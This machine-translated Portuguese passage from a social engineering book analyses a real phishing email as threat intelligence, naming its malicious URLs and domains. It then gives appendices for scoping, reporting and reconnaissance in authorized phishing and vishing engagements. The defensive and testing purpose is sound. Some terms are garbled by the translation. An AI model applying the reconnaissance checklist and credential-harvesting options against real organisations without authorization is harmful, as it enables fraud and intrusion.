possíveis. O formato normalmente é xxx.xxx.xxx.xxx/yy, onde xxx.xxx.xxx.xxx é o
endereço IPv4 base e yy é um número entre 1 e 32 que indica o número de sub-redes e
hosts possíveis dentro deste bloco. Normalmente você verá números entre 24 e 32 neste
intervalo.

Caminho de arquivo Um local exclusivo na estação de trabalho onde os arquivos maliciosos são descobertos.
Isso mostra o comportamento da uniformidade, provavelmente por meio de um script.

MUTEX Um objeto de exclusão mútua (MUTEX) é um objeto dentro de um programa projetado


para permitir que vários threads compartilhem recursos, como acesso a arquivos, mas não
ao mesmo tempo.

CVE Vulnerabilidades e exposições comuns são vulnerabilidades divulgadas de forma


responsável. Incluir um CVE no pulso permite que outras pessoas pesquisem o CVE ao
assinar feeds. Isto é especialmente útil quando o e-mail de phishing tenta realizar
algum nível de exploração técnica com base em uma vulnerabilidade existente.

CRIANÇAS
YARA é mais um acrônimo recursivo ou mais um analisador de expressão regular
(REGEX). Este é um meio de combinar padrões em arquivos e iterar em um ambiente
usando um SEIM ou uma ferramenta YARA personalizada, que oferece suporte a
Windows, macOS e Linux.

170 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Copie toda a fonte do e-mail e cole-a na caixa vermelha da imagem e selecione


Extrair Indicadores (Figura 12-5). Isso fará a análise automaticamente, mas você
precisará passar pelos indicadores e verificá-los.

Figura 12-5: Extração do Indicador OTX

Como você pode ver na Figura 12.6, o analisador extraiu cinco indicadores
do e-mail que você colou.

Figura 12-6: Indicadores incluídos

Produzindo Inteligência de Ameaças 171


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você precisa verificar se esses indicadores pertencem ao pulso. Como você sabe, ao
inspecionar a origem do e-mail, que o e-mail listado é do remetente, não é necessário verificá-
lo novamente. Mas você precisa verificar os domínios e endereços IP. Para conseguir isso,
vamos fazer um pouco de OSINT.
Você precisa determinar o seguinte: Quem é o proprietário de cada domínio e endereço
IP? O domínio e o endereço IP servem a um propósito legítimo? O proprietário do domínio tem
algum controle sobre os dados transmitidos por meio de seus serviços? Os endereços IP
pertencem a provedores de e-mail? Ou somos proprietários do domínio ou endereço IP?

Os possíveis IOCs na Figura 12-7 não são peças valiosas de informações sobre ameaças
negligência, portanto, se o OTX não o fizer, você precisará excluí-los. Você fará isso
posteriormente no processo, para evitar analisá-los duas vezes.

Figura 12-7: Indicadores excluídos

Agora, você passa para a lista de IOCs excluídos. Você repete o processo usado para
os IOCs incluídos para cada item na lista de IOCs excluídos. De cara, você pode dizer que
alguns deles não pertencem à lista de indicadores.
A partir desta extração, vá em frente e remova o seguinte: três endereços óbvios
da Microsoft (by5pr19mb3713.namprd19.prod.outlook.com,
by5pr19mb3970.namprd19.prod.outlook.com e nam12-mw2-obe.outbound.protec tion.outlook.
com); dois endereços óbvios do Google (mail-sor-f41.google.com e mx.google.com); uma
série de endereços GoDaddy (p3plibsmtp01-08.prod.phx3.
secureserver.net, p3plsmtp21-01-26.prod.phx3.secureserver.net e p3plsmtp21-01.
prod.phx3.secureserver.net); e 10.186.134.206, que é um endereço IP interno de Classe A,
privado, não roteável.

Testando um domínio potencialmente malicioso no Burp


A OTX afirma que docsend.com é um domínio na lista de permissões, mas permite que os
usuários façam upload de arquivos. Isso significa que é prudente ir em frente e verificar o
que o remetente está tentando coagir as vítimas a abrir. No mundo da análise forense digital e
do malware, isso faz parte do que é conhecido como detonação. A detonação pode ser
perigosa se você estiver em um sistema desprotegido, pois pode ser infectado. Recomendo
usar um sistema dedicado para isso, ou no mínimo uma máquina virtual dedicada.

172 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Além de uma máquina virtual, recomendo garantir que você tenha proteção contra malware
instalada (se aplicável), um firewall habilitado no nível do host e da rede, o uso de uma VPN e
(se você se sentir confortável com isso), o navegador Tor (ou Brave – que oferece uma
funcionalidade semelhante), embora você precise selecionar Abrir uma nova janela privada
com Tor. Você pode acabar lidando com coisas desagradáveis e não quer ficar do lado
errado da lei ao tentar conduzir pesquisas de segurança legítimas.

Abra sua máquina virtual em um sistema e segmento de rede separados


do que a sua rede principal, com um firewall e um dispositivo de segurança em execução
entre o sistema e o resto do seu laboratório e rede doméstica. Dependendo do nível de análise
que você pretende realizar, você pode optar por usar uma máquina virtual Linux ou Windows. Se
você quiser ter uma boa noção de como o ataque deve funcionar, você pode usar um sistema
Windows vulnerável.

Instale o Burp Suite em seu host. Burp é um proxy web que permite interceptar e alterar
dados transmitidos entre você e o site. Isso permitirá que você veja as chamadas feitas do
seu sistema para o site e as respostas. Você também pode controlar pop-ups e muitas ações
não intencionais, como redirecionamentos para sites maliciosos. Para instalar o Burp, baixe uma
cópia da Community Edition gratuita em https://portswigger.net/burp/communitydownload.

Isso incluirá um script semelhante a burpsuite_community_linux_v<#>_#_##.sh.


Insira a versão mais recente nos comandos mostrados aqui:

chmod 744 burpsuite_community_linux_v<#>_#_##.sh


./burpsuite_community_linux_v<#>_#_##.sh

Depois de instalado, você pode usar a GUI para abrir o Burp clicando no ícone do Burp
ou digitando Burp no menu do sistema operacional. Burp solicitará que você crie um projeto. Clique
em Avançar e você será solicitado a aceitar as configurações padrão do Burp ou carregar um
arquivo de configuração. Manter os padrões deve servir.

Em seguida, você deve rotear o tráfego do seu navegador através do Burp. Para fazer isso,
abra o Firefox e clique no ícone Menu e role até o final. Clique em Configurações de rede. Você
deverá ser solicitado a inserir informações sobre seu proxy, conforme mostrado na Figura 12-8.
Selecione Configuração manual de proxy e insira o endereço IP 127.0.0.1 como proxy HTTP
e 8080 como porta.
Selecione a opção para usar este servidor proxy para todos os protocolos.

Produzindo Inteligência de Ameaças 173


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-8: Configurando um proxy de rede no Firefox

Agora que você instalou o Burp e o Firefox configurado para rotear seu tráfego
através do Burp, abra o Burp e certifique-se de que ele esteja configurado para
interceptar tráfego. Para fazer isso, selecione a guia Proxy e depois Interceptar.
Finalmente, certifique-se de que o Intercept esteja ativado, conforme mostrado na Figura 12-9.

Figura 12-9: Garantindo que o Burp esteja configurado para interceptar o tráfego

174 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois de verificar se o Burp está configurado corretamente, você pode usá-lo para
interceptar o tráfego do seu navegador. Enquanto o Intercept estiver ativado, você precisará
escolher se deseja encaminhar ou descartar cada solicitação da web. Isso significa que você
pode descartar tráfego malicioso (ou legítimo) em vez de enviá-lo para o seu navegador.
Agora, vamos visitar o site encontrado no e-mail. Quando você encaminha usando o
Burp, um documento que se parece com um PDF é carregado. Isso afirma ser do Office 365, mas
na Figura 12-10, você deve facilmente perceber que não é legítimo: observe o inglês
quebrado e os espaços ruins em Jonathan Shea (jshea@plac erprocess.com ) enviou um arquivo,
clique no botão botão abaixo para visualizar o documento.

Figura 12-10: Exemplo de página inicial de phishing

Não deve haver espaço entre placerprocess.com e o parêntese de fechamento. Além


disso, o inglês adequado usaria has em vez de have na frase sobre o arquivo. Finalmente, se a
Microsoft tivesse realmente enviado isso para alguém de maneira automatizada, a palavra Click
provavelmente seria click, ou a vírgula seria um ponto final, dependendo do idioma que o
verdadeiro fornecedor usa.
usa.
Vamos passar o mouse sobre o link e ver para onde ele tenta nos enviar. A localização de
redirecionamento do link é https://invoicepayapp.page.link/naxz. Se você tentar abrir esse link no
sistema sandbox (o sistema isolado ou máquina virtual discutido anteriormente neste capítulo), o
host deverá ser desconhecido. E como você pode ver na barra de URL mostrada na Figura 12.11,
Burp indica que a URL é um redirecionamento para https://nohumanmark.xyz/js/sharepoint/
sharepoint/sharepoint/index.php.

Produzindo Inteligência de Ameaças 175


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-11: Redirecionamento de phishing quebrado

Observe a URL e os três níveis repetitivos dos diretórios do SharePoint . Este


link provavelmente buscava imitar o serviço SharePoint legítimo da Microsoft para tentar
obter credenciais ou fazer com que a vítima baixasse uma “ferramenta” que na verdade
é malware. Embora o link esteja quebrado, você ainda deve adicionar o pulso OTX,
além da URL para a qual ele redireciona (https:// invoicepayapp.
página.link/ naxz), pois é indicativo de comportamento de risco. Para adicioná-los, copie
e cole o URL no OTX. Em seguida, para adicionar o URL docsend.com , marque a caixa
ao lado dele e clique em Incluir.
Antes de prosseguir, adicione os quatro endereços IP que identificamos como
irrelevantes aos indicadores excluídos marcando as caixas ao lado deles e clicando
em Excluir.

Analisando arquivos para download

Esta campanha de phishing não incluiu nenhum arquivo para download. Mas e se isso
acontecesse? Vamos discutir brevemente a análise deles. Para começar, você
precisará obter hashes criptográficos desses arquivos. Ter os hashes criptográficos
dos arquivos permite comparar os arquivos em estados conhecidos com outras
versões para ver se algo mudou. Quando um arquivo é criado (ou, no caso de malware,
observado), você obtém um hash criptográfico do arquivo para ajudá-lo a procurá-lo
com mais rapidez. Você compara os hashes dos arquivos em seus sistemas com o
arquivo inválido conhecido (no caso de malware) e alerta sobre quaisquer
correspondências. Em alguns casos, o arquivo muda sozinho e, portanto, o hash não
permanecerá o mesmo. Chamamos isso de malware polimórfico e é uma discussão para um livro comple
Você pode fazer hash de um arquivo usando uma variedade de ferramentas. Alguns, como os seguintes,
já vem instalado no Linux. Às vezes vale a pena inserir vários tipos de hash, porque
alguns sistemas verificam os arquivos usando apenas um algoritmo.

176 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para produzir um hash MD5 do arquivo, digite o seguinte comando:

nome do arquivo md5sum

Para produzir um hash SHA-1 do arquivo, digite isto:

nome do arquivo sha1sum

Para produzir um hash SHA-256 do arquivo, digite isto:

nome do arquivo sha256sum

Para produzir um hash SHA-512 do arquivo, digite isto:

nome do arquivo sha512sum

Em seguida, adicione cada hash ao OTX. Se você optar por escrever este incidente
e publicar um relatório, poderá importar o pulso da URL e listar os
URL como recurso.
Nas seções a seguir, analisaremos mais detalhadamente o nohumanmark.xyz
domínio.

Conduzindo OSINT para inteligência de ameaças


OTX não é o único recurso que você pode usar para analisar links ou e-mails maliciosos.
Nesta seção, exploraremos alguns outros. Você pode reconhecer algumas dessas ferramentas
e técnicas nos capítulos OSINT deste livro. Aqui, você usará esses recursos para descobrir
se um site é prejudicial.

Pesquisando VirusTotal
Um site de propriedade da Chronicle Security, https:// www.virustotal.com/, permite que
pesquisadores e profissionais de inteligência de ameaças analisem se um arquivo está listado
como malicioso em mais de 60 plataformas antivírus sem precisar comprar cada uma delas.
Também permite verificar o status de qualquer URL.
O VirusTotal também possui uma API para análise com script. Sua função de pesquisa GUI
baseada na web aceita os seguintes tipos de entrada: o arquivo real carregado, uma URL, um
endereço IP, um domínio ou um hash de arquivo.

Identificando sites maliciosos no WHOIS


Você executou o comando WHOIS ao coletar OSINT. Mas ao usar o WHOIS para analisar
malware, você deverá procurar informações adicionais.
Notavelmente, além das informações habituais do WHOIS, pretende-se ver o país onde um
domínio está registado e o seu número de sistema autónomo (ASN). O ASN ajudará mais
tarde, quando você usar o PhishTank para analisar os sistemas de origem do e-mail de
phishing. A Figura 12-12 mostra o registro WHOIS para o domínio aparentemente incompleto
nohumanmark.xyz.

Produzindo Inteligência de Ameaças 177


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-12: Registro WHOIS de nohumanmark.xyz

Você pode ver que o domínio foi registrado no Paquistão há 8 dias e


que usa servidores de nomes hospedados através de seoservicegroup.top. Por
sua vez, a realização de uma pesquisa WHOIS de seoservicegroup.top mostra que ele
existe há apenas 43 dias. Domínios jovens como este merecem ceticismo e análise,
pois muitos são maliciosos. Um domínio com 8 dias e servidores de nomes com 43
dias não são automaticamente bons, mas exigem análise adicional. Neste caso,
você deve incluir os domínios e quaisquer endereços IP relacionados em seu pulso
OTX.
O que mostraria o registro WHOIS de um site legítimo? Para efeito de
comparação, a Figura 12-13 é a saída WHOIS para nostarch.com.
Primeiro, observe que o país registrante é o Panamá. Isso é comum quando
as organizações usam serviços como WhoisGuard ou privacidade de domínio para
ocultar sua localização, e isso não é motivo imediato para alarme ou análise
mais aprofundada. Se você revisar a data, verá que este domínio foi criado em 1996 e
inclui um site registrado e ativo.
Em segundo lugar, o ASN está listado como Cloudflare. O uso do Cloudflare indica
que o site provavelmente não é malicioso, já que as redes de distribuição de conteúdo
normalmente removem tudo o que consideram prejudicial. Vemos também que
este domínio sofreu três alterações em quatro servidores de nomes em 16 anos.
Isso é normal e normalmente indica uma mudança de provedor. A tecnologia mudou
muito desde 1996, por isso faz sentido mudar de fornecedor e de registo para
implementar novas tecnologias.

178 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-13: Registro WHOIS do NoStarch

Descobrindo Phishes com PhishTank


PhishTank (https:// phishtank.com/) é uma plataforma gratuita de verificação de
phishing operada pela OpenDNS. Ele permite pesquisar por domínio, URL ou ASN.
Na minha experiência, a pesquisa por ASN é a mais eficiente. Mas como você não
tem um ASN para o domínio nohumanmark.xyz potencialmente malicioso , você
precisará pesquisar por domínio e URL. A Figura 12-14 mostra essa pesquisa.

Figura 12-14: Pesquisa PhishTank por phish nohumanmark.xyz

Produzindo Inteligência de Ameaças 179


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Como você pode ver na Figura 12.15, a pesquisa não produz nada. Isso não
significa que não é uma tentativa de phishing – apenas que ninguém a denunciou.

Figura 12-15: Um phishing válido em PhishTank.com

Como o site está fora do ar, irei reportá-lo, mas não enviarei
o relatório. Para iniciar o relatório, clique no botão Adicionar ao tanque? link abaixo
da declaração que diz que nada se sabe. Em seguida, insira o URL do phishing.
Neste caso, você precisará colar o corpo do e-mail em três relatórios para o Tank
(caso tenha enviado) para associar os três domínios utilizados. Você também
seleciona Microsoft como a organização referenciada no e-mail, já que ela afirma ser
do Office 365. Quando terminar, clique em Enviar.

A Figura 12-16 é um exemplo de inserção das informações associadas ao phishing


no PhishTank para inclusão em seu banco de dados.

Navegando pelo ThreatCrowd

Parte da AT&T Cybersecurity, ThreatCrowd (https:// www.threatcrowd.org/) fornece


visualização sobre a legitimidade de domínios, endereços IP e outros detalhes como
hashes. Tal como acontece com OTX e outras plataformas, você pode acessá-lo de
forma independente ou através de links no ThreatMiner (discutido na próxima seção).
A Figura 12-17 mostra a visualização do domínio nohumanmark.xyz .

180 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-16: Enviando uma amostra de phishing ao PhishTank

Figura 12-17: Visualização ThreatCrowd para nohumanmark.xyz

Produzindo Inteligência de Ameaças 181


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Nesta visualização, você pode ver como vários sistemas, hashes, domínios e outros
recursos interagem com nosso sistema de interesse. Isso pode ser muito útil ao desenvolver
um programa de inteligência contra ameaças cibernéticas ou ao analisar profundamente
um adversário em potencial. A saída gráfica também proporciona alguns artefatos
excelentes ao escrever relatórios.

Consolidando informações no ThreatMiner


ThreatMiner (https:// www.threatminer.org/) recebe informações de várias outras fontes
de inteligência sobre ameaças para produzir uma visão em painel único do que outras
plataformas estão dizendo. ThreatMiner permite que você tenha uma ideia do nível de
possibilidade de malícia rapidamente. Como qualquer outra coisa, não é uma solução perfeita,
mas é uma das melhores, principalmente por ser gratuita.
O site ThreatMiner permite pesquisar indicadores ou notas APT. APT Notes é um
repositório de artigos e blogs disponíveis publicamente, classificados por ano e relacionados
a campanhas, atividades ou softwares maliciosos associados a grupos ou conjuntos
de ferramentas avançadas de ameaças persistentes definidas pelo fornecedor. Como
você já possui alguns indicadores, vamos procurá-los primeiro. Assim como o OTX, o
ThreatMiner pode processar uma variedade de tipos de indicadores, alguns dos quais
diferem dos OTX. Eles incluem domínios, endereços IP, hashes (MD5, SHA-1 e
SHA-256), endereço de e-mail, notas APT, certificados SSL/TLS, agentes de usuário,
nomes de antivírus, nomes de arquivos, URIs, chaves de registro e mutexes.
A Figura 12.18 mostra uma pesquisa por nohumanmark.xyz.

Figura 12-18: Resultados do ThreatMiner para nohumanmark.xyz

182 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Aqui está um dos recursos exclusivos do ThreatMiner: ele abre um painel no lado
esquerdo da tela que mostra resultados de pesquisa do Google possivelmente
relacionados. Lá, você deverá ver os dados WHOIS para o indicador enviado, se
apropriado. Mais abaixo na tela, você verá links para outros recursos, como RiskIQ,
PassiveTotal, VirusTotal, DomainTools, ThreatCrowd, OTX, SecurityTrails e Robtex.
Abaixo dos recursos relacionados, você notará que não há Notas APT para o
domínio. Nem há nenhum DNS passivo relacionado, subdomínios, URL associado,
Robtex ou amostras de malware relacionadas. Dado que o e-mail de phishing que
você analisou é antigo e o domínio foi registrado recentemente, isso faz sentido.
Para um indicador mais maduro ou um domínio que não foi removido, espere ver
mais informações aqui.
Agora, se o ThreatMiner pesquisa todos esses sites para você, por que esperei
até o final para mostrar suas capacidades? Para ajudá-lo a entender como realizar a
análise sozinho. Quando realizo análises de inteligência de ameaças em e-mails de
phishing, geralmente começo com duas janelas abertas: OTX e ThreatMiner. Para
usar as informações que o ThreatMiner identifica como relacionadas, basta clicar no
link.

Conclusão
A inteligência de ameaças é mais do que óleo de cobra e mais do que apenas
consumir feeds de fornecedores. Ele permite que você analise suas próprias
experiências e colete informações acionáveis sobre ameaças que não apenas
ajudam você, mas também podem ajudar seus clientes, parceiros e a comunidade
como um todo. Neste capítulo, você consumiu e produziu inteligência sobre ameaças
usando OTX e depois fez a transição para usos defensivos de WHOIS, ThreatCrowd,
ThreatMiner, VirusTotal e muito mais. Este deve ser o início dos seus esforços de
inteligência contra ameaças. Ainda assim, é uma base sólida para que você consiga
ver além do entusiasmo dos fornecedores, bem como produzir materiais de alta
qualidade para aumentar a segurança da sua organização.

Produzindo Inteligência de Ameaças 183


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A
PLANILHA DE ESCOPO

Use a planilha a seguir ao se reunir com


clientes durante a fase de definição do
escopo do trabalho.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Organização alvo

Ponto de contato da organização

Título

Operações solicitadas? (Circule conforme apropriado.) OSINT, phishing, vishing, no local, físico, isca, dumpster dive

Cronograma de Desempenho

Horas orçadas

Avaliar

Estimativa cotada

186 Apêndice A
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Jurídico

Artigo S/N
Certifique-se de que o contrato e o SOW mencionem a
empresa e todos os testadores como viáveis.

Garantir que a apólice de seguro contra erros e omissões esteja


atualizada e atenda aos requisitos do contrato do cliente.

Certifique-se de que a parte que autoriza o trabalho tem


autoridade para fazê-lo.

O consultor jurídico revisou o SOW e o contrato?

Dimensionamento e desempenho

Artigo Resposta
Phishing: O cliente fornecerá endereços de e-mail para atacar?

Vishing: O cliente fornecerá números de telefone para atacar?

Phishing: quantos e-mails devem ser enviados?

Vishing: Quantas ligações serão feitas?

O cliente tem um pretexto pré-determinado para usar?

Algum pretexto específico está fora dos limites?

O cliente possui endereços IP ou endereços de e-mail


específicos desejados como fontes?

O cliente possui endereços IP ou endereços de e-mail


específicos que estão fora dos limites como fontes?

O cliente deseja algum dos seguintes? (Circule todas as opções Obtenção de acesso ao sistema, métricas de cliques, queda de
aplicáveis.) malware, coleta de credenciais

Planilha de Escopo 187


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Tempo
Artigo Resposta
Existem períodos específicos de restrição para contato
por telefone ou e-mail (dos participantes do trabalho,
não da gestão do trabalho)

Há algum dia específico da semana ou do mês a ser evitado?

Qual é a data de início?

Qual é a data de término?

188 Apêndice A
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

B
MODELO DE RELATÓRIO

Use este modelo como um meio de escrever


um relatório profissional OSINT ou de engenharia
social. Sinta-se à vontade para adicionar ou
omitir seções, embora eu recomende tentar ficar o mais
próximo possível disso. Obviamente, inclua phishing ou vishing
apenas se estiver fazendo isso como parte do compromisso.

<DATA>
Introdução
<Nome do cliente> contratou <você ou sua empresa> para realizar um trabalho de
teste de segurança da informação para incluir (incluir tudo o que for relevante) phishing,
vishing, dumpster dive, coleta de inteligência de código aberto, baiting, testes de
segurança física e <outros em - testes de escopo>. As datas de apresentação foram
<Data de início> a <Data de término>.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Sumário executivo
A equipe realizou os seguintes testes <from intro> em <nome do cliente>.
Os seguintes resultados foram observados:

• <Resultado 1 (interpretado como um significado que transmite risco de negócio)>

• <Constatação 2 (interpretada como um significado que transmite risco de negócio)>

• <Constatação 3 (interpretada como um significado que transmite risco de negócio)>

Os seguintes resultados foram imediatamente descobertos pela equipe:

• <Resultado positivo 1 (ou seja, detecção)>

• <Resultado positivo 2 (ou seja, relatórios)>

• <Resultado negativo 1 (ou seja, informações confidenciais encontradas)>

• <Resultado negativo 2 (ou seja, descobriu outro invasor lá dentro)>

O nível de risco avaliado para <Nome do Cliente> é <BAIXO | MODERADO | ALTO


| CRÍTICO>. (Observação: coloque em negrito o nível de risco e coloque-o em letras maiúsculas.)

Declaração de Trabalho
Use esta seção para explicar qual é o trabalho. Muitas vezes, isso é melhor conseguido copiando e colando
toda ou parte da declaração de trabalho real no contrato. Isso é para reiterar o que foi pedido à sua equipe e por
que você fez o que fez.

Escopo

O escopo do envolvimento de engenharia social, incluindo OSINT, phishing e vishing entre <nome do cliente>
e <você ou sua empresa> inclui <horas de OSINT>, phishing inclui <número de cenários> cenários de <até>
| <não menos que> <número de e-mails> a serem enviados durante <período de engajamento (dias e
horários)>, e desejando incluir <número de cenários> cenários de <até> | <não menos que> <número de
ligações> a serem feitas durante <período de engajamento (dias e horários)>.

Os seguintes itens estão explicitamente no escopo:

<itens no escopo>

Os seguintes itens estão explicitamente fora do escopo:

<itens fora do escopo>

Data de conclusão
Todo o trabalho deverá ser concluído até <data>, com um relatório final e uma reunião ou chamada de
esclarecimento a serem fornecidos no prazo de 10 dias úteis a partir da data de conclusão.

Localização do Trabalho

<Local ou locais de trabalho>


<O trabalho com endereços IP será realizado a partir de>

190 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Sobre a <Nome da Empresa>


<Nome da Empresa> é uma empresa do <setor da empresa> sediada em <Cidade>, <Estado ou
País> e de propriedade de <proprietários; se negociado publicamente, mencione também negociado
sob o símbolo xxx>. <Informações mais específicas sobre a empresa>.

<Quaisquer fusões e/ ou aquisições>


A empresa possui vários locais físicos. Os sites estão nos seguintes locais:

<Local 1>
<Local 2>

<A empresa visada> instituiu um formato de endereço de e-mail padrão de


nome.sobrenome@<domínio da empresa>.

Ferramentas e Metodologias
Fale sobre quais ferramentas você usou e como analisou o que encontrou. Não se aprofunde muito no que
você realmente encontrou ainda.

Métricas

É aqui que você faz um certo nível de análise matemática ou numérica para ajudar o cliente a entender
como as descobertas se somam e onde melhorar. Não precisa ser muito complicado, mas fornecer
proporções, porcentagens ou até tabelas ou gráficos pode ser extremamente valioso e fará com que o cliente
o contrate novamente.

Phishing

Distância do relatório aberto

A hora do primeiro relatório menos a hora da primeira abertura

Proporção de relatórios abertos

O número de vezes que o e-mail foi reportado dividido pelo número de aberturas

Clique em distância do relatório

A hora do primeiro relatório menos a hora do primeiro clique

Proporção de relatórios de cliques

O número de vezes relatado dividido pelo número de cliques

Proporção de entrada

O número de vezes que a informação é inserida (em um formulário, por exemplo) dividido pelo
número de cliques

Modelo de Relatório 191


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Proporção do relatório de entrada

O número de vezes que as informações são inseridas dividido pelo número de relatórios

Razão de validade

O número de credenciais válidas inseridas dividido pelo número de credenciais inseridas

Proporção comprometida

O número de usuários com dados em Have I Been Pwned que inseriram informações dividido

pelo número de usuários que inseriram informações

Distância corretiva aberta

O momento em que a ação corretiva ocorre menos o momento da primeira abertura

Clique em distância corretiva

O horário em que a ação corretiva ocorre menos o horário do primeiro clique

desejando

Responder à distância do relatório

A hora do primeiro relatório menos a hora da primeira chamada atendida

Proporção de relatórios de resposta

O número de chamadas relatadas dividido pelo número de chamadas atendidas feitas

Sistema de solicitação

O número de vezes que a informação é fornecida quando solicitada em uma chamada dividido pelo
número de chamadas

Proporção de relatório solicitado

O número de vezes que a informação é fornecida quando solicitada em uma ligação dividido pelo
número de relatos

192 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Descobertas

Chave de gravidade

Alto

Esses riscos podem causar paralisações dispendiosas ou graves, danos ou interrupções nas
operações. A barreira de entrada para exploração e impacto é baixa.
Estes riscos têm um impacto elevado e podem envolver dados sensíveis ou dados
regulamentados, embora em quantidades inferiores aos riscos críticos.

Médio

Esses itens podem causar alguma interrupção ou problemas na organização do cliente,


mas sem grandes interrupções. Poderiam envolver a obtenção de acesso a sistemas que
poderiam ser utilizados para migrar para outros sistemas ou instalações. Isso pode envolver
dados não públicos que não sejam particularmente confidenciais.

Baixo

Esses itens representam pouco risco para o cliente. Eles poderiam ter dependências
marginais, como acesso físico local, ou exigir que outro vetor de exploração já tivesse sido
realizado. Estes riscos envolvem perturbações mínimas se forem bem sucedidos.

Informativo

Estes não representam nenhum risco atual, mas não aderem às melhores práticas ou podem
tornar-se arriscados mais tarde.

<Resultados em ordem de criticidade, do mais alto (crítico) ao mais baixo (informativo)>.


As descobertas devem incluir as seguintes subseções:

Discussão

O que você encontrou.

Problema

Por que isso é um problema.

Validação
Resultados da ferramenta e/ ou capturas de tela para provar que há um problema.

Resultados potenciais

O que poderia acontecer (seja realista).

Mitigação ou Remediação

Como resolver o problema. Cite quaisquer padrões industriais aplicáveis.

Modelo de Relatório 193


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Recomendações
Como o cliente pode melhorar e evitar outros ataques de phishing bem-sucedidos.

Conclusão
Resuma todo o relatório.

Números de telefone descobertos


555-867-5309
555-903-7684

Sites descobertos
empresa.tld1
empresa.tld2
mail.empresa.tld1

E-mails descobertos
John.doe@empresa.tld1
Jdoe@empresa.tld1

Ativos de alto valor descobertos


CEO: John Doe
COO: Jane Smith

Pretextos usados

Liste os pretextos usados tanto para phishing quanto para vishing.

194 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

C
COLETA DE INFORMAÇÕES
PLANILHA

Use este documento como um roteiro para


coletar informações OSINT ou para orientar
seus compromissos de visão. Esta não é uma
lista completa e deve ser vista como um ponto de
partida para o seu envolvimento.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Físico Resposta

Qual é/são a(s) localização(ões) da organização?

Tem cercas?

Tem portões?

Os portões estão equipados?

Os guardas estão armados?

Com que facilidade alguém pode acessar a lixeira?

Que tipo de crachá os funcionários possuem?

Você precisa apresentar algo além do crachá para entrar (ou seja,
PIN ou impressão digital)?

Os crachás possuem fotos?

Alguma câmera ou sistema de segurança pode ser encontrado usando


ferramentas de mapeamento?

A organização possui algum sistema de CFTV no Shodan?

Técnico Resposta

Quais domínios o alvo possui?

Quais subdomínios estão incluídos no domínio?

Você consegue encontrar alguma instância de webmail?

Você consegue encontrar a VPN ou portal de acesso remoto?

Com base no site de carreiras, quais tecnologias são


utilizadas?

Com base no LinkedIn, Even e outras plataformas, quais


tecnologias são utilizadas?

Você pode enumerar os sistemas operacionais?

Usando o metacrawler Recon-ng, quais arquivos são


encontrados? Algum OSINT em relação a usuários, nomes
de usuários, software e tecnologias?

196 Apêndice C
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Técnico Resposta

Você consegue encontrar sinais do uso de redes sem fio (WiGLE.net, LinkedIn
e páginas de carreiras)?

Algum de seus dispositivos voltados ao público possui algum CVEs notável?

Você consegue encontrar menção a alguma tecnologia de nuvem como Azure,


GCP ou AWS?

Você consegue encontrar alguma menção a algum serviço gerenciado ou


provedor de segurança?

É possível verificar sua proteção contra malware (antivírus ou detecção e


resposta de endpoint)?

Eles têm entradas SPF, DKIM e DMARC no DNS?

Mais alguma coisa interessante em DNS?

Empresa Resposta

Qual é a sintaxe do e-mail?

Usando o WikiLeaker, você consegue encontrar alguma indicação de que


o alvo esteja no WikiLeaks?

Quem são os executivos seniores?

Quem são os profissionais de RP?

As pessoas se vestem de determinada maneira?

Os funcionários são obrigados a usar algum equipamento de proteção individual


(EPI)?

Fornecedores e pretextos Resposta

Quem é o provedor de nuvem?

Quem é o fornecedor de antivírus?

Quem faz a manutenção do HVAC?

Quem faz a manutenção de suas lixeiras?

Quem faz manutenção em seus elevadores?

Planilha de coleta de informações 197


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pessoas Resposta

OSINT Você enumerou pessoas


mencionadas em documentos do site (metacrawler
e pesquisas no Google)?

Você enumerou os executivos (arquivos da Bloomberg


e da SEC)?

Você estabeleceu os endereços de e-mail dos


funcionários?

Você enumerou os números de telefone?

Você encontrou a lista telefônica da empresa? Use


sobrenomes comuns para enumerar melhor.

198 Apêndice C
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

D
AMOSTRA DE PRÉ-TEXTO

Este é um conjunto de pretextos de engenharia social


que usei no passado e que considerei bem-sucedidos.
Sinta-se à vontade para usá-los ou modificá-los para
atender às suas necessidades. Eu encorajo você a construir
isso enquanto permanece ético. Eu adoraria que você
compartilhasse algumas de suas modificações ou das suas
